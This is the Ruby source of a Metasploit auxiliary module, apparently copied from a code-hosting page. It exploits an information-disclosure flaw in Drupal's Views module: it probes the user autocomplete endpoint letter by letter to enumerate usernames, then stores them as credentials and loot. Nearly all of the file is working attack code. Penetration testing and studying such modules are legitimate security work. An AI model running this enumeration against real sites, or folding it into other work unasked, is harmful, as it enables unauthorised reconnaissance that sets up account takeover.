154 lines
4.0 KiB
Ruby
154 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::HttpClient
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include Msf::Auxiliary::WmapScanServer
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Drupal Views Module Users Enumeration',
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'Description' => %q{
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This module exploits an information disclosure vulnerability in the 'Views'
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module of Drupal, brute-forcing the first 10 usernames from 'a' to 'z'
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},
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'Author' =>
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[
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'Justin Klein Keane', #Original Discovery
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'Robin Francois <rof[at]navixia.com>',
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'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['URL', 'http://www.madirish.net/node/465'],
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],
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'DisclosureDate' => 'Jul 2 2010'
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))
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register_options(
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[
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OptString.new('TARGETURI', [true, "Drupal Path", "/"])
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], self.class)
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end
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def base_uri
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@base_uri ||= "#{normalize_uri(target_uri.path)}?q=admin/views/ajax/autocomplete/user/"
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end
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def check_host(ip)
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res = send_request_cgi(
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'uri' => base_uri,
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'method' => 'GET',
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'headers' => { 'Connection' => 'Close' }
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)
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unless res
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return Exploit::CheckCode::Unknown
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end
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if res.body.include?('Access denied')
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# This probably means the Views Module actually isn't installed
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print_error("Access denied")
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return Exploit::CheckCode::Safe
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elsif res.message != 'OK' || res.body != '[ ]'
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return Exploit::CheckCode::Safe
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else
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return Exploit::CheckCode::Appears
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end
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end
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def report_cred(opts)
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service_data = {
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address: opts[:ip],
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port: opts[:port],
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service_name: (ssl ? 'https' : 'http'),
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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credential_data = {
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origin_type: :service,
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module_fullname: fullname,
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username: opts[:user]
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}.merge(service_data)
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login_data = {
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core: create_credential(credential_data),
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status: Metasploit::Model::Login::Status::UNTRIED,
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proof: opts[:proof]
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}.merge(service_data)
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create_credential_login(login_data)
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end
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def run_host(ip)
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# Check if remote host is available or appears vulnerable
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unless check_host(ip) == Exploit::CheckCode::Appears
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print_error("#{ip} does not appear to be vulnerable, will not continue")
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return
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end
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print_status("Begin enumerating users at #{vhost}")
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results = []
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('a'..'z').each do |l|
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vprint_status("Iterating on letter: #{l}")
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res = send_request_cgi(
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'uri' => "#{base_uri}#{l}",
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'method' => 'GET',
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'headers' => { 'Connection' => 'Close' }
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)
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if res && res.message == 'OK'
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begin
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user_list = JSON.parse(res.body)
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rescue JSON::ParserError => e
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elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
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return []
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end
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if user_list.empty?
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vprint_error("Not found with: #{l}")
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else
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vprint_good("Found: #{user_list}")
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results << user_list.flatten.uniq
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end
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else
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print_error("Unexpected results from server")
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return
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end
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end
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print_status("Done. #{results.length} usernames found...")
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results.flatten.uniq.each do |user|
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print_good("Found User: #{user}")
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report_cred(
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ip: Rex::Socket.getaddress(datastore['RHOST']),
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port: datastore['RPORT'],
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user: user,
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proof: base_uri
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)
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end
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results = results * "\n"
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p = store_loot(
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'drupal_user',
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'text/plain',
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Rex::Socket.getaddress(datastore['RHOST']),
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results.to_s,
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'drupal_user.txt'
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)
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print_status("Usernames stored in: #{p}")
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end
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end
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